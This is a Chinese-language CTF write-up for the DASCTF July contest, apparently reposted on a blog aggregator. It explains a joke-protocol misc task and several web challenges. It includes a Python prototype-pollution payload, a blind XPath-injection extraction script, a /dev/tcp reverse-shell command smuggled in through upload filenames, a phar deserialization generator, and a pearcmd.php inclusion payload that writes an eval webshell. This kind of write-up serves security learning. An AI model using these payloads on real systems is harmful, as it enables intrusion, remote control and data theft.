[DASCTF7月赛](未完待续~)

这篇具有很好参考价值的文章主要介绍了[DASCTF7月赛](未完待续~)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

[DASCTF7月赛]

misc

Coffee desu!

hint1: Strange Protocol

[DASCTF7月赛](未完待续~),wp,CTF,安全,web安全

经过搜索,发现这个是一种恶搞协议:[DASCTF7月赛](未完待续~),wp,CTF,安全,web安全

自定义了一些请求方式

[DASCTF7月赛](未完待续~),wp,CTF,安全,web安全

结合首页英文:

You should add the milktea before getting the coffee!

我们需要使用BREW向服务器添加milktea

[DASCTF7月赛](未完待续~),wp,CTF,安全,web安全

返回:

The resource identified by the request is only capable of generating response entities which have content characteristics not acceptable according to the accept headers sent in the request.

[DASCTF7月赛](未完待续~),wp,CTF,安全,web安全

这个协议定义了:Accept-Additions头,于是我们添加上:milktea

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lIom1W9e-1690186880997)(https://raw.githubusercontent.com/leekosss/photoBed/master/202307241601658.png)]

添加之后我们使用GET将其取出:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-oQim0STO-1690186880998)(https://raw.githubusercontent.com/leekosss/photoBed/master/202307241602098.png)]

web

ezFlask

源码:

import uuid

from flask import Flask, request, session
from secret import black_list
import json

app = Flask(__name__)
app.secret_key = str(uuid.uuid4())

def check(data):
    for i in black_list:
        if i in data:
            return False
    return True

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class user():
    def __init__(self):
        self.username = ""
        self.password = ""
        pass
    def check(self, data):
        if self.username == data['username'] and self.password == data['password']:
            return True
        return False

Users = []

@app.route('/register',methods=['POST'])
def register():
    if request.data:
        try:
            if not check(request.data):
                return "Register Failed"
            data = json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "Register Failed"
            User = user()
            merge(data, User)
            Users.append(User)
        except Exception:
            return "Register Failed"
        return "Register Success"
    else:
        return "Register Failed"

@app.route('/login',methods=['POST'])
def login():
    if request.data:
        try:
            data = json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "Login Failed"
            for user in Users:
                if user.check(data):
                    session["username"] = data["username"]
                    return "Login Success"
        except Exception:
            return "Login Failed"
    return "Login Failed"

@app.route('/',methods=['GET'])
def index():
    return open(__file__, "r").read()

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5010)

这是一个flask框架的题,根路由是一个读文件函数,读取__file__里面的内容(源码),显示到首页

有一个check函数:遍历一下data中的值,如果在黑名单中就返回false,否则返回true

定义了一个user类,成员变量usernamepassword初值为空,类中定义了一个check函数,如果与输入的data中的相等才返回true

写了一个merge函数,这个函数是重点:

这个函数的作用是将两个字典对象 srcdst 进行合并。它逐个遍历 src 中的键值对,并根据一定的规则将其合并到 dst 中。

具体来说,函数执行以下操作:

  1. 对于 src 中的每个键值对 (k, v):

    • 如果 dst 是一个可索引的对象(如字典),并且 dst 中存在键 k,并且值类型 v 是字典类型,则使用递归调用 merge(v, dst[k])vdst[k] 进行合并。
    • 否则,将 v 赋值给 dst 的键 k
  2. 如果 dst 不是可索引的对象,而是一个具有属性的对象,则对于 src 中的每个键值对 (k, v):

    • 如果 dst 拥有属性 k,并且值类型 v 是字典类型,则使用递归调用 merge(v, getattr(dst, k))vdst 的属性 k 进行合并。
    • 否则,将 v 设置为 dst 的属性 k

简而言之,该函数通过递归地合并两个字典对象的键值对,将 src 中的内容合并到 dst 中,确保最终的 dst 包含 src 的所有键值对。

需要注意的是,该函数对于嵌套的字典结构特别有用,因为它可以处理深层嵌套的情况。但请注意在使用时确保 srcdst 的数据结构是可变的(mutable),否则可能会导致意外的结果。

register路由:json类型数据需要通过check()函数检查,如果其中没有usernamepassword则失败,否则创建一个用户,将data字典中的数据,添加到User字典中

这里主要需要关注这些代码

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)
            
           
@app.route('/',methods=['GET'])
def index():
    return open(__file__, "r").read()

这个题目乍一眼看好像无从下手,没有漏洞点,但是这里会产生类似覆盖的效果

经过搜索,知道了这是: Python原型链污染

文章里详细的讲述了,可以污染类中的属性值:

[DASCTF7月赛](未完待续~),wp,CTF,安全,web安全

这里我们截取到一段利用的payload:

{
    "__init__" : {
        "__globals__" : {
            "app" : {
                "config" : {
                    "SECRET_KEY" :"Polluted~"
                }
            }
        }
    }
}

这一段代码可以通过merge()自定义函数,污染flask中的SECRET_KEY

我们重新回到题目,分析一下我们实际可以污染根路由的文件的__file__属性,如果控制了这里就可以实现任意文件读取了

我们仿照上面的payload,构造出如下payload:

{
	"__init__": { 
        "__globals__": {
            "__file__":"app.py"
        }
    },
    "username":"admin",
    "password":"123"
}

这样就可以将__file__污染为app.py了,

但是经过尝试,发现失败了,原因是check()函数把__init__过滤了,没法用了

但是我们可以尝试编码绕过,json中可以使用unicode编码,我们使用cyberchef编码一下:

__init__

\u005F\u005F\u0069\u006E\u0069\u0074\u005F\u005F

这样就可以绕过了,然后非预期就是读一下/proc/1/environ得到flag:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Mzss4X4f-1690186881000)(https://raw.githubusercontent.com/leekosss/photoBed/master/202307232323420.png)]

[DASCTF7月赛](未完待续~),wp,CTF,安全,web安全

预期解是通过任意文件读取,伪造flask的pin码,然后命令执行查询到flag

MyPicDisk

首先通过万能密码登录:

' or 1 or '1

但是这里需要在用户名处输入:

[DASCTF7月赛](未完待续~),wp,CTF,安全,web安全

下载:/y0u_cant_find_1t.zip

得到:index.php

<?php
session_start();
error_reporting(0);
class FILE{
    public $filename;
    public $lasttime;
    public $size;
    public function __construct($filename){
        if (preg_match("/\//i", $filename)){
            throw new Error("hacker!");
        }
        $num = substr_count($filename, ".");
        if ($num != 1){
            throw new Error("hacker!");
        }
        if (!is_file($filename)){
            throw new Error("???");
        }
        $this->filename = $filename;
        $this->size = filesize($filename);
        $this->lasttime = filemtime($filename);
    }
    public function remove(){
        unlink($this->filename);
    }
    public function show()
    {
        echo "Filename: ". $this->filename. "  Last Modified Time: ".$this->lasttime. "  Filesize: ".$this->size."<br>";
    }
    public function __destruct(){
        system("ls -all ".$this->filename);
    }
}
?>
<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>MyPicDisk</title>
</head>
<body>
<?php
if (!isset($_SESSION['user'])){
  echo '
<form method="POST">
    username:<input type="text" name="username"></p>
    password:<input type="password" name="password"></p>
    <input type="submit" value="登录" name="submit"></p>
</form>
';
  $xml = simplexml_load_file('/tmp/secret.xml');
  if($_POST['submit']){
    $username=$_POST['username'];
    $password=md5($_POST['password']);
    $x_query="/accounts/user[username='{$username}' and password='{$password}']";
    $result = $xml->xpath($x_query);
    if(count($result)==0){
      echo '登录失败';
    }else{
      $_SESSION['user'] = $username;
        echo "<script>alert('登录成功!');location.href='/index.php';</script>";
    }
  }
}
else{
    if ($_SESSION['user'] !== 'admin') {
        echo "<script>alert('you are not admin!!!!!');</script>";
        unset($_SESSION['user']);
        echo "<script>location.href='/index.php';</script>";
    }
  echo "<!-- /y0u_cant_find_1t.zip -->";
  if (!$_GET['file']) {
    foreach (scandir(".") as $filename) {
      if (preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
        echo "<a href='index.php/?file=" . $filename . "'>" . $filename . "</a><br>";
      }
    }
    echo '
  <form action="index.php" method="post" enctype="multipart/form-data">
  选择图片:<input type="file" name="file" id="">
  <input type="submit" value="上传"></form>
  ';
    if ($_FILES['file']) {
      $filename = $_FILES['file']['name'];
      if (!preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
        die("hacker!");
      }
      if (move_uploaded_file($_FILES['file']['tmp_name'], $filename)) {
          echo "<script>alert('图片上传成功!');location.href='/index.php';</script>";
      } else {
        die('failed');
      }
    }
  }
  else{
      $filename = $_GET['file'];
      if ($_GET['todo'] === "md5"){
          echo md5_file($filename);
      }
      else {
          $file = new FILE($filename);
          if ($_GET['todo'] !== "remove" && $_GET['todo'] !== "show") {
              echo "<img src='../" . $filename . "'><br>";
              echo "<a href='../index.php/?file=" . $filename . "&&todo=remove'>remove</a><br>";
              echo "<a href='../index.php/?file=" . $filename . "&&todo=show'>show</a><br>";
          } else if ($_GET['todo'] === "remove") {
              $file->remove();
              echo "<script>alert('图片已删除!');location.href='/index.php';</script>";
          } else if ($_GET['todo'] === "show") {
              $file->show();
          }
      }
  }
}
?>
</body>
</html>

这里很明显需要知道:admin的密码才能够完成后续操作,

我们注意到这里:

$xml = simplexml_load_file('/tmp/secret.xml');
  if($_POST['submit']){
    $username=$_POST['username'];
    $password=md5($_POST['password']);
    $x_query="/accounts/user[username='{$username}' and password='{$password}']";
    $result = $xml->xpath($x_query);
    if(count($result)==0){
      echo '登录失败';
    }else{
      $_SESSION['user'] = $username;
        echo "<script>alert('登录成功!');location.href='/index.php';</script>";
    }

这里对用户名处没有任何过滤就进行xpath查询,所以会导致xpath注入

xpath注入学习文章:https://xz.aliyun.com/t/7791?page=1#toc-0

由于这里密码被md5加密了,所以我们可以猜测密码为32位:

xpath查询语句如下:string-length代表查询字符串的长度

' or string-length((//user[position()=1]/password[position()=1]))=32 or '

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Ii5yHL6c-1690186881002)(https://raw.githubusercontent.com/leekosss/photoBed/master/202307241356669.png)]

查询一下确实为32位

接下来写脚本查询password的值即可:

import string
import time
import requests

s = string.printable

url = "http://d27bfc8b-3545-410a-9e7a-7446c02e9290.node4.buuoj.cn:81/index.php"
flag = ""

for i in range(1, 100):
    for j in s:
        time.sleep(0.1)
        payload = "' or substring((//user[position()=1]/password[position()=1]),{},1)='{}' or '".format(i,j)
        data = {
            "username": payload,
            "password": "123",
            "submit": "%E7%99%BB%E5%BD%95"
        }
        res = requests.post(url, data=data)
        # print(res.text)
        if "成功" in res.text:
            flag += j
            print(flag)
            break
            
# 003d7628772d6b57fec5f30ccbc82be1

使用:https://www.somd5.com/解密:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ebcOpDAO-1690186881003)(https://raw.githubusercontent.com/leekosss/photoBed/master/202307241359303.png)]

15035371139

接下来登录就可以文件上传了:

文件上传为白名单waf:

if (!preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
        die("hacker!");
      }

FILE类中会对文件名进行检测,不能包含/和多个小数点

析构方法中命令执行:

public function __destruct(){
        system("ls -all ".$this->filename);
    }

我们可以利用它来反弹shell,首先上传一个文件名为:;a.jpg,内容为:

bash -i>& /dev/tcp/ip/9996 0>&1

然后再上传一个文件:;bash *a.jpg

点击这个文件就可以反弹shell了

也可以phar反序列化,没复现成功

<?php

class FILE{
    public $filename;
    public $lasttime;
    public $size;
    public function __construct($filename){
        $this->filename = $filename;
    }
}

$a = new FILE("/;cat /adjaskdhnask_flag_is_here_dakjdnmsakjnfksd");
$phartest=new phar('phartest.phar',0);
$phartest->startBuffering();
$phartest->setMetadata($a);
$phartest->setStub("<?php __HALT_COMPILER();?>");
$phartest->addFromString("test.txt","test");
$phartest->stopBuffering();
ez_cms

熊海cms

[DASCTF7月赛](未完待续~),wp,CTF,安全,web安全

经过查询得知,熊海cms首页存在文件包含漏洞:

<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>

于是我们只要包含一个有用的文件即可,但这个有用的文件是什么呢?

这个文件是pearcmd.php,通过包含这个文件可以实现向服务器上写入shell进行rce的操作

可以参考:

  • https://tttang.com/archive/1312/#toc_0x06-pearcmdphp

  • https://y4tacker.github.io/2022/06/19/year/2022/6/%E5%85%B3%E4%BA%8Epearcmd%E5%88%A9%E7%94%A8%E6%80%BB%E7%BB%93/#%E5%88%A9%E7%94%A8

[DASCTF7月赛](未完待续~),wp,CTF,安全,web安全

我们直接构造:(注意顺序)

/?+config-create+/&r=../../../../../../../../../../../../usr/share/php/pearcmd&/<?=phpinfo();eval($_POST[1]);?>+/tmp/leekos.php

这里需要通过相对路径来找到pearcmd.php(注意最后不需要加上.php

[DASCTF7月赛](未完待续~),wp,CTF,安全,web安全

成功写入,然后蚁剑包含拿flag文章来源地址https://www.toymoban.com/news/detail-602784.html

到了这里,关于[DASCTF7月赛](未完待续~)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 攻防世界ctf web easyphp题解wp

    第一步,用科学计数法绕过 a=1e9 第二步,用php代码编写MD5碰撞脚本得到b=53724 第三步,绕过is_numeric函数 第四步,绕过is_array函数  第五步,绕过array_search函数 一定要对传值url编码 提交得到flag  

    2024年02月16日
    浏览(44)
  • *CTF 2023 web jwt2struts 题解wp

    根据题目名字猜测,这题考察jwt和Struts2 包里面果然有一个cookie 验证了,是jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyIiwiZXhwIjoyMDA2MjI1MjgxfQ.F7vOtdqg48M1DYK4tVZywTipIYDqKfsBSju7ekLSecU 我们的目标应该是把 user 改成 admin 首先,直接修改试试,结果是不行的。 再尝试一下爆破: 也是不行

    2024年02月14日
    浏览(38)
  • Verilog(未完待续)

    Verilog教程 这个教程写的很好,可以多看看。本篇还没整理完。 什么是FPGA?一种可通过编程来修改其逻辑功能的数字集成电路(芯片) 与单片机的区别?对单片机编程并不改变其地电路的内部结构,只是根据要求实现的功能来编写运行的程序(指令)。 举例:单片机就两个

    2024年03月19日
    浏览(55)
  • TensorFlow学习笔记(未完待续)

    TensorFlow中所有计算都会被转化为计算图上的节点。是一个通过计算图的形式来表述计算的编程系统,每个计算都是计算图的一个节点,而节点之间的边描述了计算之间的依赖关系。 在TensorFlow中,系统会自动维护一个默认的计算图,通过tf.get_default_graph()函数可以获取当前

    2024年02月08日
    浏览(43)
  • Vivado使用记录(未完待续)

    字体大小修改:Setting、Font Quick Start 组包含有 Create Project(创建工程)、 Open Project(打开工程)、 Open Example Project(打开实例工程)。 Tasks 组包含有 Manage IP(管理 IP)、 Open Hardware Manager(打开硬件管理器)、 Xilinx Tcl Store( Tcl 脚本存储库)。 Learning Center 组包含有 Documen

    2024年03月09日
    浏览(46)
  • 机器学习基础(粗学)【未完待续】

    卷积:用卷积求系统的存量 卷积,就是把输出函数反转一下。。。。(离谱) 实际不是从物理意义上理解的函数翻转,而是应该从数学意义上,去理解卷积的意义。 在定义卷积时为什么要对其中一个函数进行翻转? - 中微子的回答 - 知乎 图像的卷积操作:图像元素与

    2024年02月04日
    浏览(51)
  • 卫星下行链路预算模型(未完待续)

    1. 接收端天线模型 简单一些,考虑地球同步卫星多波束通信系统,波束指向固定。波束数量为 N b N_b N b ​ . 波束中心在地面的位置可以用经度向量和纬度向量表示: P ⃗ l g = [ l 1 , l 2 , . . . , l N b ] P ⃗ l a = [ a 1 , a 2 , . . . , a N b ] vec{P}_{lg} = [l_1, l_2,...,l_{N_b}] \\\\ vec{P}_{la} = [a_

    2024年02月03日
    浏览(39)
  • PHP复习资料(未完待续)

    特别鸣谢:@NLER提供雨课堂数据 (未完待续,请持续关注此板块) 【计科三四】雪课堂PHP期末模拟题:https://ks.wjx.top/vm/tUAmjxq.aspx# 【计科一二】PHP第一章练习题 https://ks.wjx.top/vm/QnjHad4.aspx# 【计科一二】PHP第二章练习题 https://ks.wjx.top/vm/h2FvEVI.aspx# 【计科一二】PHP第三章练习题

    2024年02月07日
    浏览(41)
  • Provide/Inject 依赖注入(未完待续)

    父组件传递给子组件数据,通过props,但是需要逐层传递 provide/Inject 的推出就是为了解决这个问题,它提供了一种组件之间共享此类值的方式,不必通过组件树每层级显示地传递props 目的是为了共享那些被 认为对于一个组件树而言是全局的数据 provide 接受两个参数:第一个参

    2024年01月20日
    浏览(40)
  • Java多线程:Lock锁(未完待续)

    在Java中,Lock是一个接口,它提供了比synchronized更高级的线程同步机制。使用Lock接口可以创建更复杂和灵活的同步结构。 Lock接口的常用实现类有ReentrantLock和ReentrantReadWriteLock,它们提供了可重入的互斥锁和读写锁。 相比synchronized来实现同步,使用Lock实现同步主要有以

    2024年02月02日
    浏览(36)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包